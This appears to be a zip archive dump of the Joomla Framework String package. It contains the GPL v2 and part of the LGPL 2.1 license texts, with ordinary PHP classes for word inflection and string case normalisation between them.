Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as
"you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.
<one line to give the program's name and a brief idea of what it
does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James
Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
PKƅ�[�'۲�-�-string/src/Inflector.phpnu�[���<?php
/**
* Part of the Joomla Framework String Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\String;
use InvalidArgumentException;
/**
* Joomla Framework String Inflector Class
*
* The Inflector transforms words
*
* @since 1.0
*/
class Inflector
{
/**
* The singleton instance.
*
* @var Inflector
* @since 1.0
*/
private static $instance;
/**
* The inflector rules for singularisation, pluralisation and
countability.
*
* @var array
* @since 1.0
*/
private $rules = array(
'singular' => array(
'/(matr)ices$/i'
=> '\1ix',
'/(vert|ind)ices$/i'
=> '\1ex',
'/(alumn|bacill|cact|foc|fung|nucle|radi|stimul|syllab|termin|viri?)i$/i'
=> '\1us',
'/([ftw]ax)es/i'
=> '\1',
'/(cris|ax|test)es$/i'
=> '\1is',
'/(shoe|slave)s$/i'
=> '\1',
'/(o)es$/i'
=> '\1',
'/([^aeiouy]|qu)ies$/i'
=> '\1y',
'/$1ses$/i'
=> '\s',
'/ses$/i'
=> '\s',
'/eaus$/'
=> 'eau',
'/^(.*us)$/'
=> '\\1',
'/s$/i'
=> '',
),
'plural' => array(
'/([m|l])ouse$/i'
=> '\1ice',
'/(matr|vert|ind)(ix|ex)$/i'
=> '\1ices',
'/(x|ch|ss|sh)$/i'
=> '\1es',
'/([^aeiouy]|qu)y$/i'
=> '\1ies',
'/([^aeiouy]|qu)ies$/i'
=> '\1y',
'/(?:([^f])fe|([lr])f)$/i'
=> '\1\2ves',
'/sis$/i'
=> 'ses',
'/([ti])um$/i'
=> '\1a',
'/(buffal|tomat)o$/i'
=> '\1\2oes',
'/(alumn|bacill|cact|foc|fung|nucle|radi|stimul|syllab|termin|vir)us$/i'
=> '\1i',
'/us$/i'
=> 'uses',
'/(ax|cris|test)is$/i'
=> '\1es',
'/s$/i'
=> 's',
'/$/'
=> 's',
),
'countable' => array(
'id',
'hits',
'clicks',
),
);
/**
* Cached inflections.
*
* The array is in the form [singular => plural]
*
* @var string[]
* @since 1.0
*/
private $cache = array();
/**
* Protected constructor.
*
* @since 1.0
*/
protected function __construct()
{
// Pre=populate the irregual singular/plural.
$this
->addWord('deer')
->addWord('moose')
->addWord('sheep')
->addWord('bison')
->addWord('salmon')
->addWord('pike')
->addWord('trout')
->addWord('fish')
->addWord('swine')
->addWord('alias', 'aliases')
->addWord('bus', 'buses')
->addWord('foot', 'feet')
->addWord('goose', 'geese')
->addWord('hive', 'hives')
->addWord('louse', 'lice')
->addWord('man', 'men')
->addWord('mouse', 'mice')
->addWord('ox', 'oxen')
->addWord('quiz', 'quizes')
->addWord('status', 'statuses')
->addWord('tooth', 'teeth')
->addWord('woman', 'women');
}
/**
* Adds inflection regex rules to the inflector.
*
* @param mixed $data A string or an array of strings or regex
rules to add.
* @param string $ruleType The rule type: singular | plural |
countable
*
* @return void
*
* @since 1.0
* @throws InvalidArgumentException
*/
private function addRule($data, $ruleType)
{
if (\is_string($data))
{
$data = array($data);
}
elseif (!\is_array($data))
{
// Do not translate.
throw new InvalidArgumentException('Invalid inflector rule
data.');
}
foreach ($data as $rule)
{
// Ensure a string is pushed.
array_push($this->rules[$ruleType], (string) $rule);
}
}
/**
* Gets an inflected word from the cache where the singular form is
supplied.
*
* @param string $singular A singular form of a word.
*
* @return string|boolean The cached inflection or false if none found.
*
* @since 1.0
*/
private function getCachedPlural($singular)
{
$singular = StringHelper::strtolower($singular);
// Check if the word is in cache.
if (isset($this->cache[$singular]))
{
return $this->cache[$singular];
}
return false;
}
/**
* Gets an inflected word from the cache where the plural form is
supplied.
*
* @param string $plural A plural form of a word.
*
* @return string|boolean The cached inflection or false if none found.
*
* @since 1.0
*/
private function getCachedSingular($plural)
{
$plural = StringHelper::strtolower($plural);
return array_search($plural, $this->cache);
}
/**
* Execute a regex from rules.
*
* The 'plural' rule type expects a singular word.
* The 'singular' rule type expects a plural word.
*
* @param string $word The string input.
* @param string $ruleType String (eg, singular|plural)
*
* @return string|boolean An inflected string, or false if no rule could
be applied.
*
* @since 1.0
*/
private function matchRegexRule($word, $ruleType)
{
// Cycle through the regex rules.
foreach ($this->rules[$ruleType] as $regex => $replacement)
{
$matches = 0;
$matchedWord = preg_replace($regex, $replacement, $word, -1, $matches);
if ($matches > 0)
{
return $matchedWord;
}
}
return false;
}
/**
* Sets an inflected word in the cache.
*
* @param string $singular The singular form of the word.
* @param string $plural The plural form of the word. If omitted, it
is assumed the singular and plural are identical.
*
* @return void
*
* @since 1.0
*/
private function setCache($singular, $plural = null)
{
$singular = StringHelper::strtolower($singular);
if ($plural === null)
{
$plural = $singular;
}
else
{
$plural = StringHelper::strtolower($plural);
}
$this->cache[$singular] = $plural;
}
/**
* Adds a countable word.
*
* @param mixed $data A string or an array of strings to add.
*
* @return Inflector Returns this object to support chaining.
*
* @since 1.0
*/
public function addCountableRule($data)
{
$this->addRule($data, 'countable');
return $this;
}
/**
* Adds a specific singular-plural pair for a word.
*
* @param string $singular The singular form of the word.
* @param string $plural The plural form of the word. If omitted, it
is assumed the singular and plural are identical.
*
* @return Inflector Returns this object to support chaining.
*
* @since 1.0
*/
public function addWord($singular, $plural =null)
{
$this->setCache($singular, $plural);
return $this;
}
/**
* Adds a pluralisation rule.
*
* @param mixed $data A string or an array of regex rules to add.
*
* @return Inflector Returns this object to support chaining.
*
* @since 1.0
*/
public function addPluraliseRule($data)
{
$this->addRule($data, 'plural');
return $this;
}
/**
* Adds a singularisation rule.
*
* @param mixed $data A string or an array of regex rules to add.
*
* @return Inflector Returns this object to support chaining.
*
* @since 1.0
*/
public function addSingulariseRule($data)
{
$this->addRule($data, 'singular');
return $this;
}
/**
* Gets an instance of the JStringInflector singleton.
*
* @param boolean $new If true (default is false), returns a new
instance regardless if one exists.
* This argument is mainly used for testing.
*
* @return Inflector
*
* @since 1.0
*/
public static function getInstance($new = false)
{
if ($new)
{
return new static;
}
if (!\is_object(self::$instance))
{
self::$instance = new static;
}
return self::$instance;
}
/**
* Checks if a word is countable.
*
* @param string $word The string input.
*
* @return boolean True if word is countable, false otherwise.
*
* @since 1.0
*/
public function isCountable($word)
{
return \in_array($word, $this->rules['countable']);
}
/**
* Checks if a word is in a plural form.
*
* @param string $word The string input.
*
* @return boolean True if word is plural, false if not.
*
* @since 1.0
*/
public function isPlural($word)
{
// Try the cache for a known inflection.
$inflection = $this->getCachedSingular($word);
if ($inflection !== false)
{
return true;
}
$singularWord = $this->toSingular($word);
if ($singularWord === false)
{
return false;
}
// Compute the inflection to cache the values, and compare.
return $this->toPlural($singularWord) == $word;
}
/**
* Checks if a word is in a singular form.
*
* @param string $word The string input.
*
* @return boolean True if word is singular, false if not.
*
* @since 1.0
*/
public function isSingular($word)
{
// Try the cache for a known inflection.
$inflection = $this->getCachedPlural($word);
if ($inflection !== false)
{
return true;
}
$pluralWord = $this->toPlural($word);
if ($pluralWord === false)
{
return false;
}
// Compute the inflection to cache the values, and compare.
return $this->toSingular($pluralWord) == $word;
}
/**
* Converts a word into its plural form.
*
* @param string $word The singular word to pluralise.
*
* @return string|boolean An inflected string, or false if no rule could
be applied.
*
* @since 1.0
*/
public function toPlural($word)
{
// Try to get the cached plural form from the singular.
$cache = $this->getCachedPlural($word);
if ($cache !== false)
{
return $cache;
}
// Check if the word is a known singular.
if ($this->getCachedSingular($word))
{
return false;
}
// Compute the inflection.
$inflected = $this->matchRegexRule($word, 'plural');
if ($inflected !== false)
{
$this->setCache($word, $inflected);
return $inflected;
}
// Dead code
return false;
}
/**
* Converts a word into its singular form.
*
* @param string $word The plural word to singularise.
*
* @return string|boolean An inflected string, or false if no rule could
be applied.
*
* @since 1.0
*/
public function toSingular($word)
{
// Try to get the cached singular form from the plural.
$cache = $this->getCachedSingular($word);
if ($cache !== false)
{
return $cache;
}
// Check if the word is a known plural.
if ($this->getCachedPlural($word))
{
return false;
}
// Compute the inflection.
$inflected = $this->matchRegexRule($word, 'singular');
if ($inflected !== false)
{
$this->setCache($inflected, $word);
return $inflected;
}
return false;
}
}
PKDž�[*5Jx��string/src/Normalise.phpnu�[���<?php
/**
* Part of the Joomla Framework String Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\String;
/**
* Joomla Framework String Normalise Class
*
* @since 1.0
*/
abstract class Normalise
{
/**
* Method to convert a string from camel case.
*
* This method offers two modes. Grouped allows for splitting on groups of
uppercase characters as follows:
*
* "FooBarABCDef" becomes array("Foo",
"Bar", "ABC", "Def")
* "JFooBar" becomes array("J",
"Foo", "Bar")
* "J001FooBar002" becomes array("J001",
"Foo", "Bar002")
* "abcDef" becomes array("abc",
"Def")
* "abc_defGhi_Jkl" becomes array("abc_def",
"Ghi_Jkl")
* "ThisIsA_NASAAstronaut" becomes array("This",
"Is", "A_NASA", "Astronaut"))
* "JohnFitzgerald_Kennedy" becomes array("John",
"Fitzgerald_Kennedy"))
*
* Non-grouped will split strings at each uppercase character.
*
* @param string $input The string input (ASCII only).
* @param boolean $grouped Optionally allows splitting on groups of
uppercase characters.
*
* @return string The space separated string.
*
* @since 1.0
*/
public static function fromCamelCase($input, $grouped = false)
{
return $grouped
?
preg_split('/(?<=[^A-Z_])(?=[A-Z])|(?<=[A-Z])(?=[A-Z][^A-Z_])/x',
$input)
: trim(preg_replace('#([A-Z])#', ' $1', $input));
}
/**
* Method to convert a string into camel case.
*
* @param string $input The string input (ASCII only).
*
* @return string The camel case string.
*
* @since 1.0
*/
public static function toCamelCase($input)
{
// Convert words to uppercase and then remove spaces.
$input = self::toSpaceSeparated($input);
$input = ucwords($input);
$input = str_ireplace(' ', '', $input);
return $input;
}
/**
* Method to convert a string into dash separated form.
*
* @param string $input The string input (ASCII only).
*
* @return string The dash separated string.
*
* @since 1.0
*/
public static function toDashSeparated($input)
{
// Convert spaces and underscores to dashes.
$input = preg_replace('#[ \-_]+#', '-', $input);
return $input;
}
/**
* Method to convert a string into space separated form.
*
* @param string $input The string input (ASCII only).
*
* @return string The space separated string.
*
* @since 1.0
*/
public static function toSpaceSeparated($input)
{
// Convert underscores and dashes to spaces.
$input = preg_replace('#[ \-_]+#', ' ', $input);
return $input;
}
/**
* Method to convert a string into underscore separated form.
*
* @param string $input The string input (ASCII only).
*
* @return string The underscore separated string.
*
* @since 1.0
*/
public static function toUnderscoreSeparated($input)
{
// Convert spaces and dashes to underscores.
$input = preg_replace('#[ \-_]+#', '_', $input);
return $input;
}
/**
* Method to convert a string into variable form.
*
* @param string $input The string input (ASCII only).
*
* @return string The variable string.
*
* @since 1.0
*/
public static function toVariable($input)
{
// Convert to camel case.
$input = self::toCamelCase($input);
// Remove leading digits.
$input = preg_replace('#^[0-9]+#', '', $input);
// Lowercase the first character.
$input = lcfirst($input);
return $input;
}
/**
* Method to convert a string into key form.
*
* @param string $input The string input (ASCII only).
*
* @return string The key string.
*
* @since 1.0
*/
public static function toKey($input)
{
// Remove spaces and dashes, then convert to lower case.
$input = self::toUnderscoreSeparated($input);
$input = strtolower($input);
return $input;
}
}
PKDž�[�7�k>g>gstring/src/phputf8/LICENSEnu�[���
GNU LESSER GENERAL PUBLIC LICENSE
Version 2.1, February 1999
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
[This is the first released version of the Lesser GPL. It also counts
as the successor of the GNU Library Public License, version 2, hence
the version number 2.1.]
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.
This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it. You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.
When we speak of free software, we are referring to freedom of use,
not price. Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.
To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights. These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.
For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you. You must make sure that they, too, receive or can get the source
code. If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it. And you must show them these terms so they know their rights.
We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.
To protect each distributor, we want to make it very clear that
there is no warranty for the free library. Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.
Finally, software patents pose a constant threat to the existence of
any free program. We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder. Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.
Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License. This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License. We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.
When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library. The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom. The Lesser General
Public License permits more lax criteria for linking other code with
the library.
We call this license the "Lesser" General Public License
because it
does Less to protect the user's freedom than the ordinary General
Public License. It also provides other free software developers Less
of an advantage over competing non-free programs. These disadvantages
are the reason we use the ordinary General Public License for many
libraries. However, the Lesser license provides advantages in certain
special circumstances.
For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard. To achieve this, non-free programs must be
allowed to use the library. A more frequent case is that a free
library does the same job as widely used non-free libraries. In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.
In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software. For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.
Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.
The precise terms and conditions for copying, distribution and
modification follow. Pay close attention to the difference between a
"work based on the library" and a "work that uses the
library". The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.
GNU LESSER GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".
A "library" means a collection of software functions and/or
data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.
The "Library", below, refers to any such software library or
work
which has been distributed under these terms. A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language. (Hereinafter, translation is
included without limitation in the term "modification".)
"Source code" for a work means the preferred form of the work
for
making modifications to it. For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it). Whether that is true depends on what the Library does
and what the program that uses the Library does.
1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.
You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.
2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) The modified work must itself be a software library.
b) You must cause the files modified to carry prominent notices
stating that you changed the files and the date of any change.
c) You must cause the whole of the work to be licensed at no
charge to all third parties under the terms of this License.
d) If a facility in the modified Library refers to a function or a
table of data to be supplied by an application program that uses
the facility, other than as an argument passed when the facility
is invoked, then you must make a good faith effort to ensure that,
in the event an application does not supply such function or
table, the facility still operates, and performs whatever part of
its purpose remains meaningful.
(For example, a function in a library to compute square roots has
a purpose that is entirely well-defined independent of the
application. Therefore, Subsection 2d requires that any
application-supplied function or table used by this function must
be optional: if the application does not supply it, the square
root function must still compute square roots.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.
In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library. To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License. (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.) Do not make any other change in
these notices.
Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.
This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.
4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.
If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.
5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library". Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.
However, linking a "work that uses the Library" with the
